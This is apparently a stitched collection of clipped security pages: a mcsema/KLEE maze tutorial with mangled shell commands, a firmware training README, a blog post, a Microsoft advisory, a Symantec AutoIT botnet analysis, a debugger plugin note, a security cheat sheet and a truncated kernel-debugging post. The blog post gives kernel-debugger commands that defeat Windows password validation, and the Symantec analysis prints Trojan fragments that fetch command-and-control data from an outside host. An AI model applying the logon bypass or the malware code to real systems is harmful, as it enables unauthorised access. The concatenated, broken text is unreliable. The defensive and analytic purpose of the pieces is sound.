Makefiles"` `-DCMAKE_BUILD_TYPE=Release ..` `make` `# Finally, make sure our
environment is correct for future steps` `export` `PATH=$PATH:~`
`/klee/llvm-3` `.2.src` `/Release` `+Asserts` `/bin/` `export` `PATH=$PATH:~`
`/klee/klee/Release` `+Asserts` `/bin/` `export`
`LD_LIBRARY_PATH=$LD_LIBRARY_PATH:~` `/klee/stp/build/lib/`  
---|---  
## Translating the Maze Binary

The latest version of mcsema includes the maze program from Felipe’s blog in
the examples as demo\_maze. In the instructions below, we’ll compile the maze
oracle to a 32-bit ELF binary and then convert the binary to LLVM bitcode via
mcsema.

|  `# Note: tests/maze_demo.sh completes these steps automatically` `cd` `~`
`/klee/mcsema/mc-sema/tests` `# Load our environment variables` `source` `env`
`.sh` `# Compile the demo to a 32-bit ELF executable` `${CC} -ggdb -m32 -o
demo_maze demo_maze.c` `# Recover the CFG using mcsema's bin_descend`
`${BIN_DESCEND_PATH}` `/bin_descend_wrapper` `.py -d -func-map=maze_map.txt
-i=demo_maze -entry-symbol=main` `# Convert the CFG into LLVM bitcode via
mcsema's cfg_to_bc` `${CFG_TO_BC_PATH}` `/cfg_to_bc` `-i demo_maze.cfg
-driver=mcsema_main,main,raw,` `return` `,C -o demo_maze.` `bc` `# Optimize
the bitcode` `${LLVM_PATH}` `/opt` `-O3 -o demo_maze_opt.` `bc` `demo_maze.`
`bc`  
---|---  
We will use the optimized bitcode \(demo\_maze\_opt.bc\) generated by this
step as input to KLEE. Now that everything is set up, let’s get to the fun
part — finding all maze solutions with KLEE.

|  `# create a working directory next to the other KLEE examples.` `cd` `~`
`/klee/klee/examples` `mkdir` `maze` `cd` `maze` `# copy the bitcode generated
by mcsema into the working directory` `cp` `~` `/klee/mcsema/mc-
sema/tests/demo_maze_opt` `.` `bc` `./` `# copy the register context (needed
to build a drive to run the bitcode)` `cp` `~` `/klee/mcsema/mc-
sema/common/RegisterState` `.h ./`  
---|---  
Now that we have the maze oracle binary in LLVM bitcode, we need to tell KLEE
which inputs are symbolic and when a maze is solved. To do this we will create
a small driver that will intercept the `read()` and `exit()` system calls,
mark input to `read()` as symbolic, and assert on `exit(1)`, a successful maze
solution.

To make the driver, create a file named maze\_driver.c with contents from the
this gist and use clang to compile the maze driver into bitcode. Every
function in the driver is commented to help explain how it works.

|  `clang -I../..` `/include/` `-emit-llvm -c -o maze_driver.` `bc`
`maze_driver.c`  
---|---  
We now have two bitcode files: the translation of the maze program and a
driver to start the program and mark inputs as symbolic. The two need to be
combined into one bitcode file for use with KLEE. The two files can be
combined using llvm-link. There will be a compatibility warning, which is safe
to ignore in this case.

|  `llvm-link demo_maze_opt.` `bc` `maze_driver.` `bc` `> maze_klee.` `bc`  
---|---  
## Running KLEE

Once we have the combined bitcode, let’s do some symbolic execution. Lots of
output will scroll by, but we can see KLEE solving the maze and trying every
state of the program. If you recall from the driver, we can recognize
successful states because they will trigger an assert in KLEE. There are four
solutions to the original maze, so let’s see how many we have. There should be
4 results — a good sign \(note: your test numbers may be different\):

|  `klee --emit-all-errors -libc=uclibc maze_klee.` `bc` `# Lots of things
will scroll by` `ls` `klee-last/*assert*` `# For me, the output is:` `# klee-
last/test000178.assert.err klee-last/test000315.assert.err` `# klee-
last/test000270.assert.err klee-last/test000376.assert.err`  
---|---  
Now let’s use a quick bash script to look at the outputs and see if they match
the original results. The solutions identified by KLEE from the mcsema bitcode
are:

  * sddwddddsddw
  * ssssddddwwaawwddddsddw
  * sddwddddssssddwwww
  * ssssddddwwaawwddddssssddwwww

… and they match the results from Felipe’s original blog post\!

## Conclusion

Symbolic execution is a powerful tool that can execute programs on **all
inputs at once**. Using mcsema and KLEE, we can symbolically execute existing
closed source binary programs. In this example, we found all solutions to a
maze with hidden walls — starting from an opaque binary. KLEE and mcsema could
do this **while knowing nothing about mazes and without being tuned for string
inputs**.

This example is simple, but it shows what is possible: using mcsema we can
apply the power of KLEE to closed source binaries. We could generate high code
coverage tests for closed source binaries, or find security vulnerabilities in
arbitrary binary applications.

Note: We’re looking for talented systems engineers to work on mcsema and
related projects \(contract and full-time\). If you’re interested in being
paid to work on or with mcsema, send us an email\!

Filed Under: Program Analysis

# advanced-threat-research/firmware-security-training

**Created:**| _5/28/2017 11:02:47 AM_  
---|---  
**Updated:**| _5/28/2017 11:02:47 AM_  
**Author:**| __  
**Tags:**| _bios Firmware_  
  

  

###  README.md

# Training: Security of BIOS/UEFI System Firmware from Attacker and Defender
Perspectives

This repository contains materials for a hands-on training **Security of
BIOS/UEFI System Firmware from Attacker and Defender Perspectives**

A variety of attacks targeting system firmware have been discussed publicly,
drawing attention to the pre-boot and firmware components of the platform such
as BIOS and SMM, OS loaders and secure booting. This training will detail and
organize objectives, attack vectors, vulnerabilities and exploits against
various types of system firmware such as legacy BIOS, SMI handlers and UEFI
based firmware, mitigations as well as tools and methods available to analyze
security of such firmware components. It will also detail protections
available in hardware and in firmware such as Secure Boot implemented by
modern operating systems against bootkits.

The training includes theoretical material describing a structured approach to
system firmware security analysis and mitigations as well as many hands-on
exercises to test system firmware for vulnerabilities. After the training you
should have basic understanding of platform hardware components and various
types of system firmware, security objectives and attacks against system
firmware, mitigations available in hardware and firmware. You should be able
to apply this knowledge in practice to identify vulnerabilities in BIOS and
perform forensic analysis of the firmware.

# Materials

  * **Module 0** Introduction to Firmware Security
  * **Module 1** BIOS and UEFI Firmware Fundamentals
  * **Module 2** Bootkits and UEFI Secure Boot
  * **Module 3** Hands-On Platform Hardware and Firmware
  * **Module 4** System Firmware Attack Vectors
  * **Module 5** Hands-On EFI Environment
  * **Module 6** Mitigations
  * **Module 7** System Firmware Forensics
  * Miscellaneous Materials

  

# Resetting Passwords on Virtual Machines using a Debugger? Security Aegis

**Created:**| _10/20/2011 11:32:23 AM_  
---|---  
**Updated:**| _10/25/2011 6:30:31 PM_  
**Author:**| __  
**Tags:**| __  
  

# Resetting Passwords on Virtual Machines using a Debugger?

<img src='img/Temp2_6833.jpg' width='300' height='243' alt='alt' />

Could be useful if you ever get access to some VM’s on a pentest.

> One particularly annoying occurance that’s happened to me on a couple of
> occasions is losing the password to a long-forgotten test VM that I need to
> thaw for some reason or another, months from the last time I used it. \(If
> you follow good password practices and use differing passwords for accounts,
> you might find yourself in this position.\)
> Normally, you’re kind of sunk if you’re in this position, which is the whole
> idea – no administrator password is no administrative access to the box,
> right?
> The officially supported solution in this case, assuming you don’t have a
> password reset disk \(does anyone actually use those?\) is to reformat. Oh,
> what fun that is, especially if you just need to grab something off of a
> test system and be done with it in a few minutes.
> Well, with physical access \(or the equivalent if the box is a VM\), you can
> do a bit better with the kernel debugger. It’s a bit embarassing having to
> “hack” \(and I use that term very loosely\) into your own VM because you
> don’t remember which throwaway password you used 6 months ago, but it beats
> waiting around for a reformat \(and in the case of a throwaway test VM, it’s
> probably not worth the effort anyway compared to cloning a new one, unless
> there was something important on the drive\).
> \(Note that as far as security models go, I don’t really think that this is
> a whole lot of a security risk. After all, to use the kernel debugger, you
> need physical access to the system, and if you have that much, you could
> always just use a boot CD, swap out hard drives, or a thousand other
> different things. This is just more convenient if you’ve got a serial cable
> and a second box with a serial port, say a laptop, and you just want to
> reset the password for an account on an existing install.\)
> This is, however, perhaps an instructive reminder in how much access the
> kernel debugger gives you over a system – namely, the ability to do whatever
> you want, like bypass password authentication.
> The basic idea behind this trick is to use the debugger to disable the
> password cheeck used at interactive logon inside LSA.
> The first step is to locate the LSA process. The typical way to do this is
> to use the  _\!process 0 0_ command and look for a process name of
> LSASS.exe. The next step requires that we know the EPROCESS value for LSA,
> hence the enumeration. For instance:
[code]

>     kd> !process 0 0
>     **** NT ACTIVE PROCESS DUMP ****
>     PROCESS fffffa80006540d0
>         SessionId: none  Cid: 0004    Peb: 00000000
>           ParentCid: 0000
>         DirBase: 00124000  ObjectTable: fffff88000000080
>           HandleCount: 545.
>         Image: System
>     [...]
>     PROCESS fffffa8001a893a0
>         SessionId: 0  Cid: 025c    Peb: 7fffffda000
>          ParentCid: 01ec
>         DirBase: 0cf3e000  ObjectTable: fffff88001b99d90
>          HandleCount: 822.
>         Image: lsass.exe
>  
[/code]

> Now that we’ve got the LSASS EPROCESS value, the next step is to switch to
> it as the active process. This is necessary as we’re going to need to set a
> conditional breakpoint in the context of LSA’s address space. For this task,
> we’ll use the  _.process /p /r eprocess-pointer_ command, which changes the
> debugger’s process context and reloads user mode symbols.
[code]

>     kd> .process /p /r fffffa8001a893a0
>     Implicit process is now fffffa80`01a893a0
>     .cache forcedecodeuser done
>     Loading User Symbols
>     .....
>  
[/code]

> Next, we set up a breakpoint on a particular internal LSA function that is
> used to determine whether a given password is accepted for a local account
> logon. The breakpoint changes the function to always return TRUE, such that
> all local account logons will succeed if they get to the point of a password
> check. After that, execution is resumed.
[code]

>     kd> ba e1 msv1_0!MsvpPasswordValidate
>        "g @$ra ; r @al = 1 ; g"
>     kd> g
>  
[/code]

> We can dissect this breakpoint to understand better just what it is doing:
>   * Set a break on execute hardware breakpoint on
> _msv1\_0\!MsvpPasswordValidate_. Why did I use a hardware breakpoint? Well,
> they’re generally more reliable when doing user mode breakpoints from the
> kernel debugger, especially if what you’re setting a breakpoint on might be
> paged out. \(Normal breakpoints require overwriting an instruction with an
> “int 3″, whereas a hardware breakpoint simply programs an address into the
> processor such that it’ll trap if that address is accessed for
> read/write/execute, depending on the breakpoint type.\)
>

>   * The breakpoint has a condition \(or command\) attached to it.
> Specifically, this command runs the target until it returns from the current
> function \(“g @$ra” continues the target until the return address is hit.
> @$ra is a special platform-independent psueod-register that refers to the
> return address of the ccurrent function.\) Once the function has returned,
> the  _al_ register is set to 1 and execution is resumed. This function
> returns a BOOLEAN value \(in other words an 8-bit value\), which is stored
> in  _al_ \(the low 8 bits of the  _eax_ or  _rax_ register, depending on
> whether you’re on x86 or x64\). IA64 targets don’t store return values in
> this fashion and so the breakpoint is x86/x64-specific.
>

> Now, log on to the console. Make sure to use a local account and not a
> domain account, so the authentication is processed by the Msv1\_0 package.
> Also, non-console logons might not run through the Msv1\_0 package, and may
> not be affected. \(For example, Network Level Authentication \(NLA\) for RDP
> in Vista/Srv08 doesn’t seem to use Msv1\_0, even for local accounts. The
> console will still allow you to log in, however.\)
> From there, you can simply reset the password for your account via the
> Computer Management console. Be warned that this will wipe out EFS keys and
> the like, however. To restore password checking to normal, either reboot the
> box without the kernel debugger, or use the  _bc\*_ command to disable the
> breakpoint you set.
> \(For the record, I can’t really take credit for coming up with this trick,
> but it’s certainly one I’ve found handy in a number of scenarios.\)
> Now, one thing that you might take away from this article, from a security
> standpoint, is that it is important to provide physical security for
> critical computers. To be honest, if someone really wants to access a box
> they have physical access to, this is probably not even the easist way; it
> would be simplere to just pop in a bootable CD or floppy and load a
> different operating system. As a result, as previously mentioned, I wouldn’t
> exactly consider this a security hole as it already requires you to have
> physical access in order to be effective. It is, however, a handy way to
> reset passwords for your own computers or VMs in a pinch if you happen to
> know a little bit about the debugger. Conversely, it’s not really a
> supported “solution” \(more of a giant hack at best\), so use it with care
> \(and don’t expect PSS to bail you out if you break something by poking
> around in the kernel debugger\). It may break without warning on future OS
> versions \(and there are many cases that won’t be caught by this trick, such
> as domain accounts that use the Kerberos provider to process
> authentication\).
> Update: I forgot to mention the very important fact that you canturn on the
> kernel debugger from the “F8″ boot menu when booting the system, even if you
> don’t have kernel debugging enabled in the boot configuration or boot.ini.
> This will enable kernel debugging on the highest numbered COM port, at
> 19200bps. \(On Windows Vista, this also seems capable of auto-selecting 1394
> if your machine had a 1394 port, if memory serves. I don’t know offhand
> whether that translates to downlevel platforms, though.\)
  
From nynaeve.net with some supporting info here.

# C++: A Language for Modern Times | The Knowledge Chamber | Channel 9
**Created:**| _4/20/2012 7:11:23 PM_  
---|---  
**Updated:**| _4/20/2012 7:11:23 PM_  
**Author:**| __  
**Tags:**| _C++ opinion_  
  

# C++: A Language for Modern Times

  * Posted: Mar 29, 2012 at 9:53 AM 
  * By: Robert Hess
  * 0.25
0.5

0.75

1

1.25

1.5

1.75

2

2.25

2.5

2.75

3

3.25

3.5

3.75

4

4.25

4.5

4.75

5

Avg Rating: 5

\(8\)

  * 68,240 Views 
  * 22 Comments
  * 45 pts.
  * 

<img src='img/Temp2_1249.png' alt='Click To Play' />

29 minutes, 10 seconds

  * 

  * 

  *   * 

### Download

<img src='img/Temp2_1248.png' />

### How do I download the videos?

  * To download, right click the file type you would like and pick “Save target as…” or “Save link as…” 

### Why should I download videos from Channel9?

  * It's an easy way to save the videos you like locally.
  * You can save the videos in order to watch them offline.
  * If all you want is to hear the audio, you can download the MP3\!

### Which version should I choose?

  * If you want to view the video on your PC, Xbox or Media Center, download the High Quality WMV file \(this is the highest quality version we have available\). 
  * If you'd like a lower bitrate version, to reduce the download time or cost, then choose the Medium Quality WMV file. 
  * If you have a Zune, WP7, iPhone, iPad, or iPod device, choose the low or medium MP4 file.
  * If you just want to hear the audio of the video, choose the MP3 file.

Right click “Save as…”

  * MP3 \(Audio only\)
  * MP4 \(iPod, Zune HD\)
  * Mid Quality WMV \(Lo-band, Mobile\)
  * High Quality MP4 \(iPad, PC\)
  * Mid Quality MP4 \(WP7, HTML5\)
  * High Quality WMV \(PC, Xbox, MCE\)

  * format 
  * < > embed 
  * + queue 
  *   * 

C++ has been around for what seems like forever. It might seem like it's taken
a back seat to languages that provide better application isolation and better
development throughput, but in truth it remains one of the most widely used
languages in the world. In order to gain some better insights on how C++
measures up in a "managed" world, I've invited Herb Sutter, Program Manager
for Visual Studio, to explain how C++ has evolved and how it remains a great
choice for many modern day development tasks.

And here are a few additional links to more information about C++ that will
help you learn how to use it in your projects:

  * **TechEd PreConference Seminar: "C++ In Visual Studio 11: Modern Readable, Safe, Fast"  
**Kate Gregory will be doing a day long intensive seminar at both TechEd North
America \(June 10th in Orlando\) and TechEd Europe \(June 25th in Amsterdam\).  
You can register for TechEd North America here:
http://northamerica.msteched.com/registration  
And TechEd Europe here: https://register.europe.msteched.com

  * **GoingNative 2012  
** This event was held back in February, and was streamed live throughout the
world. It featured industry experts discussing the importance of C++ and its
proper use in modern application development. All of the sessions are
available for "on demand" viewing over on Channel 9.  
You can access all of the videos here:
http://channel9.msdn.com/Events/GoingNative/GoingNative-2012

  * **Sutter's Mill  
** If you want to catch more of Herb Sutter and his thoughts on C++, you
should check out his blog.  
You can find Herb's blog here: http://herbsutter.com/  
And specifically the "Elements of Modern C++ Style" reference that Herb
refered to can be found here: http://herbsutter.com/elements-of-modern-c-
style/

  * **Welcome Back to C++ \(Modern C++\)  
** For Visual Studio 11, MSDN has prepared details on the advancement and use
of C++ which includes examples, reference material, and information on the
currently supported features. It is definitely worth checking out to get up to
speed.  
The MSDN C++ content starts here: http://msdn.microsoft.com/en-
us/library/hh279654\(v=vs.110\).aspx

# Microsoft Security Advisory \(972890\): Vulnerability in Microsoft Video
ActiveX Control Could Allow Remote Code Execution

**Created:**| _7/6/2009 7:42:29 PM_  
---|---  
**Updated:**| _7/6/2009 7:42:49 PM_  
**Author:**| __  
**Tags:**| _windows security zeroday web_  
  

# Microsoft Security Advisory \(972890\)

## Vulnerability in Microsoft Video ActiveX Control Could Allow Remote Code
Execution

Published: July 06, 2009

**Version:** 1.0

Microsoft is investigating a privately reported vulnerability in Microsoft
Video ActiveX Control. An attacker who successfully exploited this
vulnerability could gain the same user rights as the local user. When using
Internet Explorer, code execution is remote and may not require any user
intervention.

We are aware of attacks attempting to exploit the vulnerability.

Our investigation has shown that there are no by-design uses for this ActiveX
Control in Internet Explorer which includes all of the Class Identifiers
within the msvidctl.dll that hosts this ActiveX Control. For Windows XP and
Windows Server 2003 customers, Microsoft is recommending removing support for
this ActiveX Control within Internet Explorer using all the Class Identifiers
listed in the **Workaround** section. Though unaffected by this vulnerability,
Microsoft is recommending that Windows Vista and Windows Server 2008 customers
remove support for this ActiveX Control within Internet Explorer using the
same Class Identifiers as a defense-in-depth measure.

Customers may prevent the Microsoft Video ActiveX Control from running in
Internet Explorer, either manually using the instructions in the
**Workaround** section or automatically using the solution found in Microsoft
Knowledge Base Article 972890. By preventing the Microsoft Video ActiveX
Control from running in Internet Explorer, there is no impact to application
compatibility.

We are actively working with partners in our Microsoft Active Protections
Program \(MAPP\) to provide information that they can use to provide broader
protections to customers.

Microsoft is currently working to develop a security update for Windows to
address this vulnerability and will release the update when it has reached an
appropriate level of quality for broad distribution.

**Mitigating Factors:**

• | Customers who are using Windows Vista or Windows Server 2008 are not affected because the ability to pass data to this control within Internet Explorer has been restricted.   
---|---  
• | By default, Internet Explorer on Windows Server 2003 and 2008 runs in a restricted mode that is known as Enhanced Security Configuration. Enhanced Security Configuration is a group of preconfigured settings in Internet Explorer that can reduce the likelihood of a user or administrator downloading and running specially crafted Web content on a server. This is a mitigating factor for Web sites that you have not added to the Internet Explorer Trusted sites zone. See also Managing Internet Explorer Enhanced Security Configuration.   
• | By default, all supported versions of Microsoft Outlook and Microsoft Outlook Express open HTML e-mail messages in the Restricted sites zone. The Restricted sites zone helps mitigate attacks that could try to exploit this vulnerability by preventing Active Scripting and ActiveX controls from being used when reading HTML e-mail messages. However, if a user clicks a link in an e-mail message, the user could still be vulnerable to exploitation of this vulnerability through the Web-based attack scenario.   
• | In a Web-based attack scenario, an attacker could host a Web site that contains a Web page that is used to exploit this vulnerability. In addition, compromised Web sites and Web sites that accept or host user-provided content or advertisements could contain specially crafted content that could exploit this vulnerability. In all cases, however, an attacker would have no way to force users to visit these Web sites. Instead, an attacker would have to persuade users to visit the Web site, typically by getting them to click a link in an e-mail message or Instant Messenger message that takes users to the attacker's Web site.   
• | An attacker who successfully exploited this vulnerability could gain the same user rights as the local user. Users whose accounts are configured to have fewer user rights on the system could be less impacted than users who operate with administrative user rights. 

# Creating a Simple Botnet Using the AutoIT Scripting Language | Symantec Connect Community
**Created:**| _5/11/2011 9:04:06 PM_  
---|---  
**Updated:**| _5/11/2011 9:04:06 PM_  
**Author:**| __  
**Tags:**| _botnets research_  
  

# Creating a Simple Botnet Using the AutoIT Scripting Language

Posted: 14 Oct 2009

<img src='img/Temp2_1650.jpg' width='32' height='32' alt='Paul Wood's picture'
/>

Paul Wood

Symantec Employee

+3 3 Votes

_This post is made on behalf of my colleague**Manoj Venugopalan** , Malware
Analyst for Symantec Hosted Services._

AutoIT, a free automation language for Windows platform-based development, is
often used for scripting Windows-based applications and sometimes misused for
creating malware. AutoIT scripts can be compiled into a compressed, standalone
executable which will run without an interpreter. Auto2Exe is the application
used to compile the AutoIT script into a standalone executiable.

Most of the malware based on AutoIT is in the form of worms and Trojans. Many
such worms are well-known for logging into a user's IM client, changing their
status message and then sending copies of the malware to all of the "buddies"
in the victim's list.

MessageLabs Intelligence recently discovered an AutoIT Trojan using IRC
\(online chat\) to connect an infected machine to a command and control
channel without the user's knowledge. The malware is sent in the form of an
enticing message containing an archive of .GIF files with a subject like "My
Photos" to around 50 recipients to lure them into opening the attachment.

<img
src='http://www.symantec.com/connect/imagebrowser/view/image/1048761/_original'
alt='autoit_email1.jpg' />  
\[Figure 1 - Example Email\]

One of the files, disgused as a .GIF image is actually an executable using an
icon for an image, and may give the illusion that the exeutable is a broken
image \(as seen in figure 2, below\). If the user tries to open the file, it
will execute and give the appearance that something hasn’t worked correctly as
no image is displayed; the the user may draw the conclusion that it is nothing
more than a corrupt image.

<img
src='http://www.symantec.com/connect/imagebrowser/view/image/1048771/_original'
alt='autoit_contents1.jpg' />  
\[Figure 2 - Content of Attached Archive File\]

Once the executable is triggered, it connects to a website based in Vietnam
\(.vn\) and downloads instructions to connect to an IRC server for its command
and control. These are saved as a plain text file and used to join the correct
channel. In order to propagate further, the malware also attempts to copy
itself to any removable drives \(including media players and USB memory
sticks\) creating with it an AutoRun.INF file. This file will invoke the
malicious application whenever the drive is connected to a computer \(unless
the auto-execute feature is disabled by the user\).

<img
src='http://www.symantec.com/connect/imagebrowser/view/image/1048791/_original'
alt='autoit_packet1.JPG' />  
\[Figure 3 - Text File Being Downloaded, Identifying Command and Control
Channel\]

Once connected, further instructions may be downloaded as the infected
machines are now joined to a small botnet, or robot network. A botnet may be
used to conduct Distributed Denial of Service \(DDoS\) attacks, sending spam,
hosting websites, targeting other computers by exploiting existing
vulnerabilities and pushing adware or spyware on to infected machines.

Below are some fragments of the script code used:

[code]

    **INETGET ( "http://[removed].vn/[removed].php" , @SYSTEMDIR & "\[removed].txt" , 1 , 0 )**
[/code]

The function is used to download the IRC details and parsed later to extract
the IRC server name, port to connect to, channel name and version of the
malware application \(presumably used to provide an update facility\).

Once it has collected all this information, it then tries to identify the
infected machine’s external IP address by contacting another website for this
purpose.

[code]

    **INETGET ( "http://[removed].com/" , @SYSTEMDIR & "\ip.txt" , 1 , 0 )**
[/code]

The above command will get the IP address of the machine and will store into
the file ip.txt.

It then creates nickname for the computer to connect to the channel and is a
combination of randomly generated letters with a common tag:

[code]

    **$NICK = "[REMOVED]-" & CHR ( RANDOM ( 65 , 90 , 1 ) ) & CHR ( RANDOM ( 65 , 90 , 1 ) ) & CHR ( RANDOM ( 65 , 90 , 1 ) ) & 
            CHR ( RANDOM ( 65 , 90 , 1 ) ) & CHR ( RANDOM ( 65 , 90 , 1 ) ) & CHR ( RANDOM ( 65 , 90 , 1 ) ) &
            CHR ( RANDOM ( 65 , 90 , 1 ) ) & CHR ( RANDOM ( 65 , 90 , 1 ) )**
[/code]

After this it then connects to the IRC channel in the background to join the
botnet.

The approach of using AutoIT as a toolkit for creating malware has been around
for some years, however, many anti-virus vendors still struggle to detect them
accurately, without incurring a high number of false positives \(when
legitimate software is misidentified as malware\). This is one reason why
AutoIt is still being used in this way. It is also very flexible and easy to
program and when compiled, the executable is compressed and packed using UPX
\(a well-known open-source compression tool\), making the code highly
obfuscated and harder for anti-virus software to analyse without a signature.

Although the recent case may not have been used in a targeted attack, many
examples using this technique that were blocked by Skeptic were sent to
financial institutions, which could potentially expose the business to further
attack or compromised data.

# ollydbg2-playtime - Plugin for OllyDbg 2 with Lua scripting support. -
Google Project Hosting

**Created:**| _10/23/2013 10:29:17 AM_  
---|---  
**Updated:**| _10/23/2013 10:29:17 AM_  
**Author:**| __  
**Tags:**| _Debugging scripting olly lua_  
  

Playtime is a OllyDbg 2 Plugin which adds LuaJIT for scripting support**.**
The plugin also supports NX breakpoints which are used to break-on-
execute**.**

We developed this Plugin to go beyond limits with scripting, LuaJIT's FFI
library will allow you declare and call C API within Lua, for more information
about the FFI library please check the authors website:
http://luajit.org/ext\_ffi.html

Keep in mind this is a very early stage of the Plugin, we are always looking
forward for suggestions and ideas which could help the reverse engineering
community**.**

Fore more information please check the included Readme.txt and examples in the
release**.**

****

# Lenny Zeltser - Security Architecture Cheat Sheet for Internet Applications

**Created:**| _6/25/2009 3:30:46 PM_  
---|---  
**Updated:**| _6/25/2009 3:30:52 PM_  
**Author:**| __  
**Tags:**| _cheat sheets_  
  

# Security Architecture Cheat Sheet for Internet Applications

This cheat sheet offers tips for the initial design and review of a complex
Internet application's security architecture.

  1. Business Requirements
  2. Infrastructure Requirements
  3. Application Requirements
  4. Security Program Requirements

To print, use the two-page PDF version; you can also edit the Word version for
you own needs.

* * *
## \#1: Business Requirements

## Business Model

What is the application's primary business purpose?

How will the application make money?

What are the planned business milestones for developing or improving the
application?

How is the application marketed?

What key benefits does the application offer its users?

What business continuity provisions have been defined for the application?

What geographic areas does the application service?

## Data Essentials

What data does the application receive, produce, and process?

How can the data be classified into categories according to its sensitivity?

How might an attacker benefit from capturing or modifying the data?

What data backup and retention requirements have been defined for the
application?

## End-Users

Who are the application's end-users?

How do the end-users interact with the application?

What security expectations do the end-users have?

## Partners

Which third-parties supply data to the application?

Which third-parties receive data from the applications?

Which third-parties process the application's data?

What mechanisms are used to share data with third-parties besides the
application itself?

What security requirements do the partners impose?

## Administrators

Who has administrative capabilities in the application?

What administrative capabilities does the application offer?

## Regulations

In what industries does the application operate?

What security-related regulations apply?

What auditing and compliance regulations apply?

* * *
## \#2: Infrastructure Requirements

## Network

What details regarding routing, switching, firewalling, and load-balancing
have been defined?

What network design supports the application?

What core network devices support the application?

What network performance requirements exist?

What private and public network links support the application?

## Systems

What operating systems support the application?

What hardware requirements have been defined?

What details regarding required OS components and lock-down needs have been
defined?

## Infrastructure Monitoring

What network and system performance monitoring requirements have been defined?

What mechanisms exist to detect malicious code or compromised application
components?

What network and system security monitoring requirements have been defined?

## Virtualization and Externalization

What aspects of the application lend themselves to virtualization?

What virtualization requirements have been defined for the application?

What aspects of the product may or may not be hosted via the cloud computing
model?

* * *
## \#3: Application Requirements

## Environment

What frameworks and programming languages have been used to create the
application?

What process, code, or infrastructure dependencies have been defined for the
application?

What databases and application servers support the application?

## Data Processing

What data entry paths does the application support?

What data output paths does the application support?

How does data flow across the application's internal components?

What data input validation requirements have been defined?

What data does the application store and how?

What data is or may need to be encrypted and what key management requirements
have been defined?

What capabilities exist to detect the leakage of sensitive data?

What encryption requirements have been defined for data in transit over WAN
and LAN links?

## Access

What user privilege levels does the application support?

What user identification and authentication requirements have been defined?

What user authorization requirements have been defined?

What session management requirements have been defined?

What access requirements have been defined for URI and Service calls?

What user access restrictions have been defined?

How are user identities maintained throughout transaction calls?

## Application Monitoring

What application auditing requirements have been defined?

What application performance monitoring requirements have been defined?

What application security monitoring requirements have been defined?

What application error handling and logging requirements have been defined?

How are audit and debug logs accessed, stored, and secured?

## Application Design

What application design review practices have been defined and executed?

How is intermediate or in-process data stored in the application components'
memory and in cache?

How many logical tiers group the application's components?

What staging, testing, and Quality Assurance requirements have been defined?

* * *
## \#4: Security Program Requirements

## Operations

What is the process for identifying and addressing vulnerabilities in the
application?

What is the process for identifying and addressing vulnerabilities in network
and system components?

What access to system and network administrators have to the application's
sensitive data?

What security incident requirements have been defined?

How do administrators access production infrastructure to manage it?

What physical controls restrict access to the application's components and
data?

What is the process for granting access to the environment hosting the
application?

## Change Management

How are changes to the code controlled?

How are changes to the infrastructure controlled?

How is code deployed to production?

What mechanisms exist to detect violations of change management practices?

## Software Development

What data is available to developers for testing?

How do developers assist with troubleshooting and debugging the application?

What requirements have been defined for controlling access to the applications
source code?

What secure coding processes have been established?

## Corporate

What corporate security program requirements have been defined?

What security training do developers and administrators undergo?

Which personnel oversees security processes and requirements related to the
application?

What employee initiation and termination procedures have been defined?

What application requirements impose the need to enforce the principle of
separation of duties?

What controls exist to protect a compromised in the corporate environment from
affecting production?

What security governance requirements have been defined?

## Additional Resources

OWASP Guide to Building Secure Web Applications

ISO 27002 Standard: Code of Practice for Information Security Management

BITS Standards for Vendor Assessments

Security Guidance for Critical Areas of Focus in Cloud Computing

Payment Card Industry \(PCI\) Data Security Standard \(DSS\)

How to Write an Information Security Policy

IT Infrastructure Threat Modeling Guide

* * *
## Post-Scriptum

Found this cheat sheet useful? Tweet it\!

Special thanks for feedback from Slava Frid. If you have suggestions for
improving this cheat sheet, please let me know.

This cheat sheet is distributed according to the Creative Commons v3
"Attribution" License. File version 1.2.

Take a look at my other security cheat sheets.

  

**About the Author:** Lenny Zeltser leads the security consulting practice at
Savvis. His team provides security assessments, design, and operational
assistance for business-critical IT infrastructure. Lenny also teaches malware
analysis at SANS Institute, explores security topics at conferences and in
articles, and volunteers as an incident handler at the Internet Storm Center.

# Hex blog: Advanced Windows Kernel Debugging with VMWare and IDA's GDB
debugger

**Created:**| _5/9/2009 12:38:55 PM_  
---|---  
**Updated:**| _5/9/2009 12:39:29 PM_  
**Author:**| __  
**Tags:**| _Debugging iDA reversing_  
  

### Advanced Windows Kernel Debugging with VMWare and IDA's GDB debugger

We have already published short tutorial on Windows kernel debugging with IDA
and VMWare on our site, but the debugging experience can still be improved.

VMWare's GDB stub is very basic, it doesn't know anything about processes or
threads \(for Windows guests\), so for anything high-level we'll need to do
some extra work. We will show how to get the loaded module list and load
symbols for all them using IDAPython.

#### Preparing VM for debugging

Let's assume that you already have a VM with Windows \(32-bit\) installed.
Before starting the debugging, copy files for which you want to see symbols to
the host. If you're not sure, copy nt\*.exe and hal.dll from System32, and the
whole System32\drivers directory.

Edit the VM's .vmx file to enable GDB debugger stub:

<img src='img/Temp2_3812.png' width='494' height='398' />  

Add these lines to the file:

[code]

    debugStub.listen.guest32 = "TRUE"
    debugStub.hideBreakpoints= "TRUE"
    
[/code]

Save the file.

In VMWare, click "Power on this virtual machine" or click the green Play
button on the toolbar.

<img src='img/Temp2_3817.png' width='576' height='418' />  
  

Wait until the VM boots.

#### Debugging in IDA

Start IDA.

<img src='img/Temp2_3814.png' width='323' height='273' />

If you get the welcome dialog, choose "Go".

<img src='img/Temp2_3811.png' width='801' height='505' />

Choose Debugger | Attach | Remote GDB debugger. 
<img src='img/Temp2_3809.png' width='378' height='201' />

Enter "localhost" for hostname and 8832 for the port number.

<img src='img/Temp2_3813.png' width='400' height='174' />

Choose <attach to the process started on target> and click OK.

<img src='img/Temp2_3816.png' width='545' height='475' />

The execution should stop somewhere in the kernel \(address above
0x80000000\). You can step through the code, but it's not very convenient
without any names. Let's try to gather some more information.

#### Getting the module list

The list of kernel modules is stored in the list pointed to by the
`PsLoadedModuleList` symbol in the kernel. To find its address, we will use
the so-called "KPCR trick". KPCR stands for Kernel Processor Control Region.
It is used by the kernel to store various information about each processor. It
is placed at the base of the segment pointed to by the `fs` register \(similar
to TEB in user mode\). One of the fields in it is `KdVersionBlock` which
points to a structure used by the kernel debugger. It, in turn, has various
pointers to kernel structures, including `PsLoadedModuleList`.

Definition of the KPCR structure can be found in many places, including IDA's
ntddk.til. Right now we just need to know that `KdVersionBlock` field is
situated at offset 0x34 from the start of KPCR. It points to
`DBGKD_GET_VERSION64`, which has `PsLoadedModuleList` pointer at offset 0x18.

Let's write a small Python function to find the value of that pointer. To
